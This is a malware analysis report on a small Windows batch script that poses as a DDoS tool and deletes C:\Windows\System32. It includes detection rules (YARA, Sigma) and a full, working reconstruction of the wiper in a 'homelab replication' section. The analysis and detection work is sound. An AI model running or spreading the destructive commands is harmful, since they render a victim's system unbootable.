unclassified-destructive-batch: e844c4cb — 982-byte batch script masquerading as a DDoS tool that destroys system32

Executive Summary

A 982-byte Windows batch script (fucker.bat) that presents itself as a "magenta ddos" utility with an IP-input prompt and a fake loading screen, then silently takes recursive ownership of C:\Windows\System32, lists ACLs, and deletes the entire directory tree before looping back to the start. No obfuscation, no network C2, no payload staging — pure destructive impact via built-in Windows CLI commands. Static-only analysis; CAPE skipped ASCII text.

What It Is

• SHA-256: e844c4cb88973679194026a28890f884bfe5d553766a83e96541d4cd6b6e9acc
• File type: DOS batch file, ASCII text, 982 bytes ^[file.txt]
• Filename: fucker.bat ^[metadata.json]
• CAPE: Skipped — unsupported binary class ^[dynamic-analysis.md]

How It Works

The script opens a cmd.exe window titled magenta ddos (dos) with green-on-black color, prompts the victim for an IP address, and displays a fake loading sequence using ping localhost -n 2 delays. ^[strings.txt:1-18] After the loading theatre completes, it executes four destructive commands in sequence:

1. takeown /f c:\windows\system32 /a /r /d y — recursively takes ownership of every file under System32, suppressing confirmation. ^[strings.txt:22]
2. cacls c:\windows\system32 — lists ACLs (likely included to show the attacker what permissions were seized, or as noise). ^[strings.txt:23]
3. rd /s /q c:\windows\system32 — recursively and silently deletes the System32 directory tree. ^[strings.txt:24]
4. del /s /q c:\windows\system32\*.* — redundant recursive file deletion as a fallback. ^[strings.txt:25]

After destruction, the script prints contradictory messages (ddos failed..., dos attempt success ::: wifi drainage 3.3132%) and jumps back to :START, creating an infinite loop that would continue prompting for input on a dying system. ^[strings.txt:35-38]

Decompiled Behavior

Not applicable — plaintext batch script; no compiled code to decompile. No Ghidra or radare2 analysis performed.

C2 Infrastructure

None. No network commands, no URLs, no IPs, no domain names. The script is entirely self-contained and offline.

Interesting Tidbits

• Masquerade quality: The title string magenta ddos (dos) and the IP-input prompt suggest the author intended victims to believe this was a DDoS stressor or WiFi-draining tool, lowering suspicion until execution. ^[strings.txt:2,8]
• Contradiction as tell: The post-destruction messages (ddos failed... / dos attempt success) are nonsensical and read like amateur trollware or a prank script rather than a professional wiper.
• Filename: fucker.bat is crude and unprofessional, consistent with low-skill or joke-ware distribution. ^[metadata.json]
• No elevation check: The script does not test for Administrator privileges before attempting to delete System32; takeown and rd will simply fail if run under a standard user account.
• cacls is deprecated: The inclusion of cacls (superseded by icacls since Windows Vista) dates the author's Windows CLI knowledge to pre-2007 documentation or copy-paste from outdated forums.

How To Mess With It (Homelab Replication)

What you'll learn: How trivial it is to construct a batch-file wiper and why endpoint policy should block recursive takeown / rd / del targeting system directories.

Toolchain: Any Windows system with cmd.exe.

Reproduction steps:

1. Open Notepad.
2. Paste the following (DO NOT RUN on a production system; use an isolated VM snapshot):

@echo off
title test destructive batch
color 0A
:START
echo Loading...
ping localhost -n 2 >nul
takeown /f c:\windows\system32 /a /r /d y
rd /s /q c:\windows\system32
del /s /q c:\windows\system32\*.*
goto START

3. Save as test-destructive.bat.
4. Verification: Observe that Windows Defender / ATP may flag rd /s /q on System32 as a critical alert. On a test VM, execution renders the system unbootable.

Signature check: The real sample's strings will match the magenta ddos title and the wifi drainage 3.3132% string, which are distinctive enough for naive string matching.

Deployable Signatures

YARA rule

rule DestructiveBatch_MagentaDDOS
{
    meta:
        description = "Destructive batch script masquerading as DDoS tool with System32 deletion"
        author = "PacketPursuit"
        date = "2026-06-14"
        hash = "e844c4cb88973679194026a28890f884bfe5d553766a83e96541d4cd6b6e9acc"
    strings:
        $a = "magenta ddos (dos)" ascii wide nocase
        $b = "wifi drainage 3.3132%" ascii wide nocase
        $c = "takeown /f c:\\windows\\system32 /a /r /d y" ascii wide nocase
        $d = "rd /s /q c:\\windows\\system32" ascii wide nocase
        $e = "del /s /q c:\\windows\\system32\\*.*" ascii wide nocase
    condition:
        any of them and filesize < 2KB
}

Behavioral hunt query (Sigma)

title: Batch Script System32 Recursive Deletion
status: experimental
description: Detects batch scripts or cmd.exe invocations that recursively delete or take ownership of C:\Windows\System32
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        CommandLine|contains:
            - 'rd /s /q c:\windows\system32'
            - 'del /s /q c:\windows\system32\*.*'
            - 'takeown /f c:\windows\system32 /a /r /d y'
    condition: selection
falsepositives:
    - None expected in normal operations
level: critical
tags:
    - attack.impact
    - attack.t1485

IOC list

Behavioral fingerprint statement

This artifact is a plaintext batch script that sets a console window title claiming to be a DDoS tool, prompts the user for an IP address, displays a fake loading screen via ping localhost delays, then recursively takes ownership of and deletes the C:\Windows\System32 directory tree using takeown, rd, and del commands. It contains no network indicators, no persistence, no payload staging, and no obfuscation. Execution results in immediate, unrecoverable operating-system destruction on an elevated session.

Detection Signatures

References

• Artifact ID: 109f3fd0-0770-4f45-9336-0bec92d1019c ^[metadata.json]
• unclassified-destructive-batch — Entity page for this destructive batch-script pattern.

Provenance

Analysis derived from:

• file.txt — file utility output (DOS batch file, ASCII text)
• metadata.json — artifact metadata from OpenCTI pipeline
• strings.txt — full plaintext content of the batch script (no packing or encoding)
• dynamic-analysis.md — CAPE skipped due to unsupported binary class
• triage.json — pipeline triage metadata

Tools: file 5.45, CAPE (skipped), static string extraction (cat).